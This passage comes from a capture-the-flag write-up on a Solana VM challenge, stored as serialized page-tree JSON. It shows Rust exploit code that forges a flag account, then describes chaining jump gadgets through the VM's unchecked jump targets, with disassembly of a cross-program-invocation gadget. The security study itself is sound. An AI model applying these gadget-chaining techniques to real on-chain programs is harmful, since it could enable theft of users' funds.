data",{"type":24,"tag":327,"props":49949,"children":49950},{"style":381},[49951],{"type":29,"value":1636},{"type":24,"tag":327,"props":49953,"children":49954},{"style":381},[49955],{"type":29,"value":14704},{"type":24,"tag":327,"props":49957,"children":49958},{"style":346},[49959],{"type":29,"value":11329},{"type":24,"tag":327,"props":49961,"children":49962},{"style":1639},[49963],{"type":29,"value":11022},{"type":24,"tag":327,"props":49965,"children":49966},{"style":346},[49967],{"type":29,"value":19319},{"type":24,"tag":327,"props":49969,"children":49970},{"class":329,"line":450},[49971,49975,49979,49984],{"type":24,"tag":327,"props":49972,"children":49973},{"style":346},[49974],{"type":29,"value":1674},{"type":24,"tag":327,"props":49976,"children":49977},{"style":381},[49978],{"type":29,"value":1679},{"type":24,"tag":327,"props":49980,"children":49981},{"style":1639},[49982],{"type":29,"value":49983}," ProgramResult",{"type":24,"tag":327,"props":49985,"children":49986},{"style":346},[49987],{"type":29,"value":497},{"type":24,"tag":327,"props":49989,"children":49990},{"class":329,"line":481},[49991,49995,50000,50004,50008,50012,50016,50020],{"type":24,"tag":327,"props":49992,"children":49993},{"style":334},[49994],{"type":29,"value":4794},{"type":24,"tag":327,"props":49996,"children":49997},{"style":356},[49998],{"type":29,"value":49999}," flag_pda_ai",{"type":24,"tag":327,"props":50001,"children":50002},{"style":381},[50003],{"type":29,"value":4809},{"type":24,"tag":327,"props":50005,"children":50006},{"style":381},[50007],{"type":29,"value":14704},{"type":24,"tag":327,"props":50009,"children":50010},{"style":356},[50011],{"type":29,"value":5239},{"type":24,"tag":327,"props":50013,"children":50014},{"style":346},[50015],{"type":29,"value":11329},{"type":24,"tag":327,"props":50017,"children":50018},{"style":397},[50019],{"type":29,"value":2988},{"type":24,"tag":327,"props":50021,"children":50022},{"style":346},[50023],{"type":29,"value":38284},{"type":24,"tag":327,"props":50025,"children":50026},{"class":329,"line":500},[50027,50031,50036,50040,50044,50048,50052,50056],{"type":24,"tag":327,"props":50028,"children":50029},{"style":334},[50030],{"type":29,"value":4794},{"type":24,"tag":327,"props":50032,"children":50033},{"style":356},[50034],{"type":29,"value":50035}," user_ai",{"type":24,"tag":327,"props":50037,"children":50038},{"style":381},[50039],{"type":29,"value":4809},{"type":24,"tag":327,"props":50041,"children":50042},{"style":381},[50043],{"type":29,"value":14704},{"type":24,"tag":327,"props":50045,"children":50046},{"style":356},[50047],{"type":29,"value":5239},{"type":24,"tag":327,"props":50049,"children":50050},{"style":346},[50051],{"type":29,"value":11329},{"type":24,"tag":327,"props":50053,"children":50054},{"style":397},[50055],{"type":29,"value":3238},{"type":24,"tag":327,"props":50057,"children":50058},{"style":346},[50059],{"type":29,"value":38284},{"type":24,"tag":327,"props":50061,"children":50062},{"class":329,"line":529},[50063],{"type":24,"tag":327,"props":50064,"children":50065},{"emptyLinePlaceholder":16},[50066],{"type":29,"value":544},{"type":24,"tag":327,"props":50068,"children":50069},{"class":329,"line":538},[50070],{"type":24,"tag":327,"props":50071,"children":50072},{"style":551},[50073],{"type":29,"value":50074},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":24,"tag":327,"props":50076,"children":50077},{"class":329,"line":547},[50078,50082,50087,50091,50095,50099,50104],{"type":24,"tag":327,"props":50079,"children":50080},{"style":334},[50081],{"type":29,"value":4794},{"type":24,"tag":327,"props":50083,"children":50084},{"style":356},[50085],{"type":29,"value":50086}," instruction",{"type":24,"tag":327,"props":50088,"children":50089},{"style":381},[50090],{"type":29,"value":4809},{"type":24,"tag":327,"props":50092,"children":50093},{"style":1639},[50094],{"type":29,"value":47726},{"type":24,"tag":327,"props":50096,"children":50097},{"style":381},[50098],{"type":29,"value":2407},{"type":24,"tag":327,"props":50100,"children":50101},{"style":340},[50102],{"type":29,"value":50103},"new_with_bincode",{"type":24,"tag":327,"props":50105,"children":50106},{"style":346},[50107],{"type":29,"value":4663},{"type":24,"tag":327,"props":50109,"children":50110},{"class":329,"line":557},[50111,50116,50120],{"type":24,"tag":327,"props":50112,"children":50113},{"style":346},[50114],{"type":29,"value":50115},"        system_program",{"type":24,"tag":327,"props":50117,"children":50118},{"style":381},[50119],{"type":29,"value":2407},{"type":24,"tag":327,"props":50121,"children":50122},{"style":346},[50123],{"type":29,"value":50124},"ID,\n",{"type":24,"tag":327,"props":50126,"children":50127},{"class":329,"line":586},[50128,50132,50137,50141,50146],{"type":24,"tag":327,"props":50129,"children":50130},{"style":381},[50131],{"type":29,"value":11071},{"type":24,"tag":327,"props":50133,"children":50134},{"style":346},[50135],{"type":29,"value":50136},"SystemInstruction",{"type":24,"tag":327,"props":50138,"children":50139},{"style":381},[50140],{"type":29,"value":2407},{"type":24,"tag":327,"props":50142,"children":50143},{"style":1639},[50144],{"type":29,"value":50145},"CreateAccount",{"type":24,"tag":327,"props":50147,"children":50148},{"style":346},[50149],{"type":29,"value":497},{"type":24,"tag":327,"props":50151,"children":50152},{"class":329,"line":1017},[50153,50158,50162,50167],{"type":24,"tag":327,"props":50154,"children":50155},{"style":356},[50156],{"type":29,"value":50157},"            space",{"type":24,"tag":327,"props":50159,"children":50160},{"style":381},[50161],{"type":29,"value":1636},{"type":24,"tag":327,"props":50163,"children":50164},{"style":397},[50165],{"type":29,"value":50166}," 0x1337",{"type":24,"tag":327,"props":50168,"children":50169},{"style":346},[50170],{"type":29,"value":2231},{"type":24,"tag":327,"props":50172,"children":50173},{"class":329,"line":1026},[50174,50179,50183,50188,50192,50197,50201,50205,50210,50214,50219],{"type":24,"tag":327,"props":50175,"children":50176},{"style":356},[50177],{"type":29,"value":50178},"            lamports",{"type":24,"tag":327,"props":50180,"children":50181},{"style":381},[50182],{"type":29,"value":1636},{"type":24,"tag":327,"props":50184,"children":50185},{"style":346},[50186],{"type":29,"value":50187}," Rent",{"type":24,"tag":327,"props":50189,"children":50190},{"style":381},[50191],{"type":29,"value":2407},{"type":24,"tag":327,"props":50193,"children":50194},{"style":340},[50195],{"type":29,"value":50196},"default",{"type":24,"tag":327,"props":50198,"children":50199},{"style":346},[50200],{"type":29,"value":7616},{"type":24,"tag":327,"props":50202,"children":50203},{"style":381},[50204],{"type":29,"value":66},{"type":24,"tag":327,"props":50206,"children":50207},{"style":340},[50208],{"type":29,"value":50209},"minimum_balance",{"type":24,"tag":327,"props":50211,"children":50212},{"style":346},[50213],{"type":29,"value":349},{"type":24,"tag":327,"props":50215,"children":50216},{"style":397},[50217],{"type":29,"value":50218},"0x1337",{"type":24,"tag":327,"props":50220,"children":50221},{"style":346},[50222],{"type":29,"value":9212},{"type":24,"tag":327,"props":50224,"children":50225},{"class":329,"line":1048},[50226,50231,50235,50239,50243],{"type":24,"tag":327,"props":50227,"children":50228},{"style":356},[50229],{"type":29,"value":50230},"            owner",{"type":24,"tag":327,"props":50232,"children":50233},{"style":381},[50234],{"type":29,"value":1636},{"type":24,"tag":327,"props":50236,"children":50237},{"style":346},[50238],{"type":29,"value":48758},{"type":24,"tag":327,"props":50240,"children":50241},{"style":381},[50242],{"type":29,"value":2407},{"type":24,"tag":327,"props":50244,"children":50245},{"style":346},[50246],{"type":29,"value":50247},"ID\n",{"type":24,"tag":327,"props":50249,"children":50250},{"class":329,"line":1067},[50251],{"type":24,"tag":327,"props":50252,"children":50253},{"style":346},[50254],{"type":29,"value":6830},{"type":24,"tag":327,"props":50256,"children":50257},{"class":329,"line":1075},[50258,50263],{"type":24,"tag":327,"props":50259,"children":50260},{"style":340},[50261],{"type":29,"value":50262},"        vec!",{"type":24,"tag":327,"props":50264,"children":50265},{"style":346},[50266],{"type":29,"value":50267},"[\n",{"type":24,"tag":327,"props":50269,"children":50270},{"class":329,"line":1084},[50271,50276,50280,50284,50288,50292,50297,50301,50306,50310],{"type":24,"tag":327,"props":50272,"children":50273},{"style":346},[50274],{"type":29,"value":50275},"            AccountMeta",{"type":24,"tag":327,"props":50277,"children":50278},{"style":381},[50279],{"type":29,"value":2407},{"type":24,"tag":327,"props":50281,"children":50282},{"style":340},[50283],{"type":29,"value":22646},{"type":24,"tag":327,"props":50285,"children":50286},{"style":346},[50287],{"type":29,"value":349},{"type":24,"tag":327,"props":50289,"children":50290},{"style":381},[50291],{"type":29,"value":469},{"type":24,"tag":327,"props":50293,"children":50294},{"style":356},[50295],{"type":29,"value":50296},"user_ai",{"type":24,"tag":327,"props":50298,"children":50299},{"style":381},[50300],{"type":29,"value":66},{"type":24,"tag":327,"props":50302,"children":50303},{"style":346},[50304],{"type":29,"value":50305},"key, ",{"type":24,"tag":327,"props":50307,"children":50308},{"style":334},[50309],{"type":29,"value":2961},{"type":24,"tag":327,"props":50311,"children":50312},{"style":346},[50313],{"type":29,"value":9212},{"type":24,"tag":327,"props":50315,"children":50316},{"class":329,"line":1100},[50317,50321,50325,50329,50333,50337,50342,50346,50350,50354],{"type":24,"tag":327,"props":50318,"children":50319},{"style":346},[50320],{"type":29,"value":50275},{"type":24,"tag":327,"props":50322,"children":50323},{"style":381},[50324],{"type":29,"value":2407},{"type":24,"tag":327,"props":50326,"children":50327},{"style":340},[50328],{"type":29,"value":22646},{"type":24,"tag":327,"props":50330,"children":50331},{"style":346},[50332],{"type":29,"value":349},{"type":24,"tag":327,"props":50334,"children":50335},{"style":381},[50336],{"type":29,"value":469},{"type":24,"tag":327,"props":50338,"children":50339},{"style":356},[50340],{"type":29,"value":50341},"flag_pda_ai",{"type":24,"tag":327,"props":50343,"children":50344},{"style":381},[50345],{"type":29,"value":66},{"type":24,"tag":327,"props":50347,"children":50348},{"style":346},[50349],{"type":29,"value":50305},{"type":24,"tag":327,"props":50351,"children":50352},{"style":334},[50353],{"type":29,"value":2961},{"type":24,"tag":327,"props":50355,"children":50356},{"style":346},[50357],{"type":29,"value":9212},{"type":24,"tag":327,"props":50359,"children":50360},{"class":329,"line":1128},[50361],{"type":24,"tag":327,"props":50362,"children":50363},{"style":346},[50364],{"type":29,"value":50365},"        ],\n",{"type":24,"tag":327,"props":50367,"children":50368},{"class":329,"line":1148},[50369],{"type":24,"tag":327,"props":50370,"children":50371},{"style":346},[50372],{"type":29,"value":50373},"    );\n",{"type":24,"tag":327,"props":50375,"children":50376},{"class":329,"line":1176},[50377,50381],{"type":24,"tag":327,"props":50378,"children":50379},{"style":340},[50380],{"type":29,"value":47843},{"type":24,"tag":327,"props":50382,"children":50383},{"style":346},[50384],{"type":29,"value":4663},{"type":24,"tag":327,"props":50386,"children":50387},{"class":329,"line":1184},[50388,50392,50397],{"type":24,"tag":327,"props":50389,"children":50390},{"style":381},[50391],{"type":29,"value":11071},{"type":24,"tag":327,"props":50393,"children":50394},{"style":356},[50395],{"type":29,"value":50396},"instruction",{"type":24,"tag":327,"props":50398,"children":50399},{"style":346},[50400],{"type":29,"value":2231},{"type":24,"tag":327,"props":50402,"children":50403},{"class":329,"line":1192},[50404,50408],{"type":24,"tag":327,"props":50405,"children":50406},{"style":381},[50407],{"type":29,"value":11071},{"type":24,"tag":327,"props":50409,"children":50410},{"style":346},[50411],{"type":29,"value":50267},{"type":24,"tag":327,"props":50413,"children":50414},{"class":329,"line":1212},[50415,50420,50424,50428],{"type":24,"tag":327,"props":50416,"children":50417},{"style":356},[50418],{"type":29,"value":50419},"            user_ai",{"type":24,"tag":327,"props":50421,"children":50422},{"style":381},[50423],{"type":29,"value":66},{"type":24,"tag":327,"props":50425,"children":50426},{"style":340},[50427],{"type":29,"value":22943},{"type":24,"tag":327,"props":50429,"children":50430},{"style":346},[50431],{"type":29,"value":5357},{"type":24,"tag":327,"props":50433,"children":50434},{"class":329,"line":4841},[50435,50440,50444,50448],{"type":24,"tag":327,"props":50436,"children":50437},{"style":356},[50438],{"type":29,"value":50439},"            flag_pda_ai",{"type":24,"tag":327,"props":50441,"children":50442},{"style":381},[50443],{"type":29,"value":66},{"type":24,"tag":327,"props":50445,"children":50446},{"style":340},[50447],{"type":29,"value":22943},{"type":24,"tag":327,"props":50449,"children":50450},{"style":346},[50451],{"type":29,"value":5357},{"type":24,"tag":327,"props":50453,"children":50454},{"class":329,"line":4862},[50455],{"type":24,"tag":327,"props":50456,"children":50457},{"style":346},[50458],{"type":29,"value":50365},{"type":24,"tag":327,"props":50460,"children":50461},{"class":329,"line":4870},[50462,50466,50470,50474,50478,50482,50486,50490],{"type":24,"tag":327,"props":50463,"children":50464},{"style":381},[50465],{"type":29,"value":11071},{"type":24,"tag":327,"props":50467,"children":50468},{"style":346},[50469],{"type":29,"value":11329},{"type":24,"tag":327,"props":50471,"children":50472},{"style":381},[50473],{"type":29,"value":8716},{"type":24,"tag":327,"props":50475,"children":50476},{"style":346},[50477],{"type":29,"value":11329},{"type":24,"tag":327,"props":50479,"children":50480},{"style":844},[50481],{"type":29,"value":49338},{"type":24,"tag":327,"props":50483,"children":50484},{"style":381},[50485],{"type":29,"value":66},{"type":24,"tag":327,"props":50487,"children":50488},{"style":340},[50489],{"type":29,"value":49347},{"type":24,"tag":327,"props":50491,"children":50492},{"style":346},[50493],{"type":29,"value":50494},"()]],\n",{"type":24,"tag":327,"props":50496,"children":50497},{"class":329,"line":4879},[50498,50502,50506],{"type":24,"tag":327,"props":50499,"children":50500},{"style":346},[50501],{"type":29,"value":11254},{"type":24,"tag":327,"props":50503,"children":50504},{"style":381},[50505],{"type":29,"value":7437},{"type":24,"tag":327,"props":50507,"children":50508},{"style":346},[50509],{"type":29,"value":405},{"type":24,"tag":327,"props":50511,"children":50512},{"class":329,"line":4913},[50513],{"type":24,"tag":327,"props":50514,"children":50515},{"emptyLinePlaceholder":16},[50516],{"type":29,"value":544},{"type":24,"tag":327,"props":50518,"children":50519},{"class":329,"line":4938},[50520],{"type":24,"tag":327,"props":50521,"children":50522},{"style":551},[50523],{"type":29,"value":50524},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":24,"tag":327,"props":50526,"children":50527},{"class":329,"line":4974},[50528,50533,50537,50541,50545,50549,50553,50557,50561,50565,50569,50574,50578,50582,50587,50591,50595,50600],{"type":24,"tag":327,"props":50529,"children":50530},{"style":356},[50531],{"type":29,"value":50532},"    flag_pda_ai",{"type":24,"tag":327,"props":50534,"children":50535},{"style":381},[50536],{"type":29,"value":66},{"type":24,"tag":327,"props":50538,"children":50539},{"style":340},[50540],{"type":29,"value":21408},{"type":24,"tag":327,"props":50542,"children":50543},{"style":346},[50544],{"type":29,"value":7616},{"type":24,"tag":327,"props":50546,"children":50547},{"style":381},[50548],{"type":29,"value":7437},{"type":24,"tag":327,"props":50550,"children":50551},{"style":346},[50552],{"type":29,"value":11329},{"type":24,"tag":327,"props":50554,"children":50555},{"style":381},[50556],{"type":29,"value":10662},{"type":24,"tag":327,"props":50558,"children":50559},{"style":397},[50560],{"type":29,"value":11653},{"type":24,"tag":327,"props":50562,"children":50563},{"style":346},[50564],{"type":29,"value":22934},{"type":24,"tag":327,"props":50566,"children":50567},{"style":381},[50568],{"type":29,"value":66},{"type":24,"tag":327,"props":50570,"children":50571},{"style":340},[50572],{"type":29,"value":50573},"copy_from_slice",{"type":24,"tag":327,"props":50575,"children":50576},{"style":346},[50577],{"type":29,"value":349},{"type":24,"tag":327,"props":50579,"children":50580},{"style":381},[50581],{"type":29,"value":8716},{"type":24,"tag":327,"props":50583,"children":50584},{"style":397},[50585],{"type":29,"value":50586},"0x4337",{"type":24,"tag":327,"props":50588,"children":50589},{"style":1639},[50590],{"type":29,"value":15603},{"type":24,"tag":327,"props":50592,"children":50593},{"style":381},[50594],{"type":29,"value":66},{"type":24,"tag":327,"props":50596,"children":50597},{"style":340},[50598],{"type":29,"value":50599},"to_le_bytes",{"type":24,"tag":327,"props":50601,"children":50602},{"style":346},[50603],{"type":29,"value":10225},{"type":24,"tag":327,"props":50605,"children":50606},{"class":329,"line":4982},[50607],{"type":24,"tag":327,"props":50608,"children":50609},{"emptyLinePlaceholder":16},[50610],{"type":29,"value":544},{"type":24,"tag":327,"props":50612,"children":50613},{"class":329,"line":4990},[50614,50618],{"type":24,"tag":327,"props":50615,"children":50616},{"style":1639},[50617],{"type":29,"value":9004},{"type":24,"tag":327,"props":50619,"children":50620},{"style":346},[50621],{"type":29,"value":9009},{"type":24,"tag":327,"props":50623,"children":50624},{"class":329,"line":4999},[50625],{"type":24,"tag":327,"props":50626,"children":50627},{"style":346},[50628],{"type":29,"value":592},{"type":24,"tag":25,"props":50630,"children":50631},{},[50632],{"type":29,"value":50633},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":24,"tag":25,"props":50635,"children":50636},{},[50637],{"type":24,"tag":11511,"props":50638,"children":50641},{"alt":50639,"src":50640},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":24,"tag":25,"props":50643,"children":50644},{},[50645],{"type":29,"value":50646},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":24,"tag":228,"props":50648,"children":50650},{"id":50649},"solution-implementation",[50651],{"type":29,"value":50652},"Solution Implementation",{"type":24,"tag":25,"props":50654,"children":50655},{},[50656,50658,50663],{"type":29,"value":50657},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":24,"tag":284,"props":50659,"children":50661},{"className":50660},[],[50662],{"type":29,"value":42394},{"type":29,"value":50664}," invocations:",{"type":24,"tag":317,"props":50666,"children":50670},{"className":50667,"code":50668,"language":50669,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[50671],{"type":24,"tag":284,"props":50672,"children":50673},{"__ignoreMap":7},[50674,50682,50690,50698,50706,50714,50722],{"type":24,"tag":327,"props":50675,"children":50676},{"class":329,"line":330},[50677],{"type":24,"tag":327,"props":50678,"children":50679},{},[50680],{"type":29,"value":50681},"graph LR\n",{"type":24,"tag":327,"props":50683,"children":50684},{"class":329,"line":367},[50685],{"type":24,"tag":327,"props":50686,"children":50687},{},[50688],{"type":29,"value":50689},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":24,"tag":327,"props":50691,"children":50692},{"class":329,"line":408},[50693],{"type":24,"tag":327,"props":50694,"children":50695},{},[50696],{"type":29,"value":50697},"    B --> C[2: process]\n",{"type":24,"tag":327,"props":50699,"children":50700},{"class":329,"line":421},[50701],{"type":24,"tag":327,"props":50702,"children":50703},{},[50704],{"type":29,"value":50705},"    C --> D[3: gadget1]\n",{"type":24,"tag":327,"props":50707,"children":50708},{"class":329,"line":450},[50709],{"type":24,"tag":327,"props":50710,"children":50711},{},[50712],{"type":29,"value":50713},"    C --> E[3: process]\n",{"type":24,"tag":327,"props":50715,"children":50716},{"class":329,"line":481},[50717],{"type":24,"tag":327,"props":50718,"children":50719},{},[50720],{"type":29,"value":50721},"    E --> F[4: gadget2]\n",{"type":24,"tag":327,"props":50723,"children":50724},{"class":329,"line":500},[50725],{"type":24,"tag":327,"props":50726,"children":50727},{},[50728],{"type":29,"value":50729},"    E --> G[...]\n",{"type":24,"tag":25,"props":50731,"children":50732},{},[50733],{"type":29,"value":50734},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":24,"tag":25,"props":50736,"children":50737},{},[50738,50740,50746],{"type":29,"value":50739},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":24,"tag":57,"props":50741,"children":50743},{"href":47201,"rel":50742},[61],[50744],{"type":29,"value":50745},"Binary Ninja",{"type":29,"value":50747}," to find a suitable gadget for this.",{"type":24,"tag":25,"props":50749,"children":50750},{},[50751,50753,50760],{"type":29,"value":50752},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":24,"tag":57,"props":50754,"children":50757},{"href":50755,"rel":50756},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[61],[50758],{"type":29,"value":50759},"skip the strip pass",{"type":29,"value":66},{"type":24,"tag":235,"props":50762,"children":50764},{"id":50763},"cpi-gadget",[50765],{"type":29,"value":50766},"CPI Gadget",{"type":24,"tag":25,"props":50768,"children":50769},{},[50770,50772,50777,50779,50786,50788,50794],{"type":29,"value":50771},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":24,"tag":284,"props":50773,"children":50775},{"className":50774},[],[50776],{"type":29,"value":45009},{"type":29,"value":50778}," function. This function calls into the solana sdk's function ",{"type":24,"tag":57,"props":50780,"children":50783},{"href":50781,"rel":50782},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[61],[50784],{"type":29,"value":50785},"invoke_signed_unchecked",{"type":29,"value":50787},", yielding a powerful gadget at the address ",{"type":24,"tag":284,"props":50789,"children":50791},{"className":50790},[],[50792],{"type":29,"value":50793},"0x100001ba8",{"type":29,"value":66},{"type":24,"tag":317,"props":50796,"children":50798},{"className":1553,"code":50797,"language":1552,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[50799],{"type":24,"tag":284,"props":50800,"children":50801},{"__ignoreMap":7},[50802,50827,50883,50934,50986,51038,51061,51109,51116,51148,51199,51257,51291,51298,51347,51377,51452,51459,51510,51556,51563,51594,51645,51675,51697,51704,51755,51800,51807,51858,51886,51907,51914],{"type":24,"tag":327,"props":50803,"children":50804},{"class":329,"line":330},[50805,50809,50813,50818,50822],{"type":24,"tag":327,"props":50806,"children":50807},{"style":346},[50808],{"type":29,"value":21194},{"type":24,"tag":327,"props":50810,"children":50811},{"style":381},[50812],{"type":29,"value":2407},{"type":24,"tag":327,"props":50814,"children":50815},{"style":346},[50816],{"type":29,"value":50817},"program",{"type":24,"tag":327,"props":50819,"children":50820},{"style":381},[50821],{"type":29,"value":2407},{"type":24,"tag":327,"props":50823,"children":50824},{"style":356},[50825],{"type":29,"value":50826},"invoke_signed_unchecked\n",{"type":24,"tag":327,"props":50828,"children":50829},{"class":329,"line":367},[50830,50835,50840,50845,50850,50855,50860,50864,50869,50874,50879],{"type":24,"tag":327,"props":50831,"children":50832},{"style":356},[50833],{"type":29,"value":50834},"100001ba8",{"type":24,"tag":327,"props":50836,"children":50837},{"style":356},[50838],{"type":29,"value":50839},"  79a278ff00000000",{"type":24,"tag":327,"props":50841,"children":50842},{"style":356},[50843],{"type":29,"value":50844},"   ldxdw",{"type":24,"tag":327,"props":50846,"children":50847},{"style":356},[50848],{"type":29,"value":50849}," r2",{"type":24,"tag":327,"props":50851,"children":50852},{"style":346},[50853],{"type":29,"value":50854},", [",{"type":24,"tag":327,"props":50856,"children":50857},{"style":356},[50858],{"type":29,"value":50859},"r10",{"type":24,"tag":327,"props":50861,"children":50862},{"style":381},[50863],{"type":29,"value":11899},{"type":24,"tag":327,"props":50865,"children":50866},{"style":397},[50867],{"type":29,"value":50868},"136",{"type":24,"tag":327,"props":50870,"children":50871},{"style":346},[50872],{"type":29,"value":50873},"] {",{"type":24,"tag":327,"props":50875,"children":50876},{"style":356},[50877],{"type":29,"value":50878},"var_88",{"type":24,"tag":327,"props":50880,"children":50881},{"style":346},[50882],{"type":29,"value":592},{"type":24,"tag":327,"props":50884,"children":50885},{"class":329,"line":408},[50886,50891,50896,50900,50905,50909,50913,50917,50921,50925,50930],{"type":24,"tag":327,"props":50887,"children":50888},{"style":356},[50889],{"type":29,"value":50890},"100001bb0",{"type":24,"tag":327,"props":50892,"children":50893},{"style":356},[50894],{"type":29,"value":50895},"  79a380ff00000000",{"type":24,"tag":327,"props":50897,"children":50898},{"style":356},[50899],{"type":29,"value":50844},{"type":24,"tag":327,"props":50901,"children":50902},{"style":356},[50903],{"type":29,"value":50904}," r3",{"type":24,"tag":327,"props":50906,"children":50907},{"style":346},[50908],{"type":29,"value":50854},{"type":24,"tag":327,"props":50910,"children":50911},{"style":356},[50912],{"type":29,"value":50859},{"type":24,"tag":327,"props":50914,"children":50915},{"style":381},[50916],{"type":29,"value":11899},{"type":24,"tag":327,"props":50918,"children":50919},{"style":397},[50920],{"type":29,"value":36556},{"type":24,"tag":327,"props":50922,"children":50923},{"style":346},[50924],{"type":29,"value":50873},{"type":24,"tag":327,"props":50926,"children":50927},{"style":356},[50928],{"type":29,"value":50929},"var_80",{"type":24,"tag":327,"props":50931,"children":50932},{"style":346},[50933],{"type":29,"value":592},{"type":24,"tag":327,"props":50935,"children":50936},{"class":329,"line":421},[50937,50942,50947,50951,50956,50960,50964,50968,50973,50977,50982],{"type":24,"tag":327,"props":50938,"children":50939},{"style":356},[50940],{"type":29,"value":50941},"100001bb8",{"type":24,"tag":327,"props":50943,"children":50944},{"style":356},[50945],{"type":29,"value":50946},"  79a468ff00000000",{"type":24,"tag":327,"props":50948,"children":50949},{"style":356},[50950],{"type":29,"value":50844},{"type":24,"tag":327,"props":50952,"children":50953},{"style":356},[50954],{"type":29,"value":50955}," r4",{"type":24,"tag":327,"props":50957,"children":50958},{"style":346},[50959],{"type":29,"value":50854},{"type":24,"tag":327,"props":50961,"children":50962},{"style":356},[50963],{"type":29,"value":50859},{"type":24,"tag":327,"props":50965,"children":50966},{"style":381},[50967],{"type":29,"value":11899},{"type":24,"tag":327,"props":50969,"children":50970},{"style":397},[50971],{"type":29,"value":50972},"152",{"type":24,"tag":327,"props":50974,"children":50975},{"style":346},[50976],{"type":29,"value":50873},{"type":24,"tag":327,"props":50978,"children":50979},{"style":356},[50980],{"type":29,"value":50981},"var_98",{"type":24,"tag":327,"props":50983,"children":50984},{"style":346},[50985],{"type":29,"value":592},{"type":24,"tag":327,"props":50987,"children":50988},{"class":329,"line":450},[50989,50994,50999,51003,51008,51012,51016,51020,51025,51029,51034],{"type":24,"tag":327,"props":50990,"children":50991},{"style":356},[50992],{"type":29,"value":50993},"100001bc0",{"type":24,"tag":327,"props":50995,"children":50996},{"style":356},[50997],{"type":29,"value":50998},"  79a570ff00000000",{"type":24,"tag":327,"props":51000,"children":51001},{"style":356},[51002],{"type":29,"value":50844},{"type":24,"tag":327,"props":51004,"children":51005},{"style":356},[51006],{"type":29,"value":51007}," r5",{"type":24,"tag":327,"props":51009,"children":51010},{"style":346},[51011],{"type":29,"value":50854},{"type":24,"tag":327,"props":51013,"children":51014},{"style":356},[51015],{"type":29,"value":50859},{"type":24,"tag":327,"props":51017,"children":51018},{"style":381},[51019],{"type":29,"value":11899},{"type":24,"tag":327,"props":51021,"children":51022},{"style":397},[51023],{"type":29,"value":51024},"144",{"type":24,"tag":327,"props":51026,"children":51027},{"style":346},[51028],{"type":29,"value":50873},{"type":24,"tag":327,"props":51030,"children":51031},{"style":356},[51032],{"type":29,"value":51033},"var_90",{"type":24,"tag":327,"props":51035,"children":51036},{"style":346},[51037],{"type":29,"value":592},{"type":24,"tag":327,"props":51039,"children":51040},{"class":329,"line":481},[51041,51046,51051,51056],{"type":24,"tag":327,"props":51042,"children":51043},{"style":356},[51044],{"type":29,"value":51045},"100001bc8",{"type":24,"tag":327,"props":51047,"children":51048},{"style":397},[51049],{"type":29,"value":51050},"  8520000020100000",{"type":24,"tag":327,"props":51052,"children":51053},{"style":356},[51054],{"type":29,"value":51055},"   call",{"type":24,"tag":327,"props":51057,"children":51058},{"style":356},[51059],{"type":29,"value":51060}," sol_invoke_signed_rust\n",{"type":24,"tag":327,"props":51062,"children":51063},{"class":329,"line":500},[51064,51069,51074,51079,51083,51087,51091,51095,51100,51104],{"type":24,"tag":327,"props":51065,"children":51066},{"style":356},[51067],{"type":29,"value":51068},"100001bd0",{"type":24,"tag":327,"props":51070,"children":51071},{"style":397},[51072],{"type":29,"value":51073},"  5500040000000000",{"type":24,"tag":327,"props":51075,"children":51076},{"style":356},[51077],{"type":29,"value":51078},"   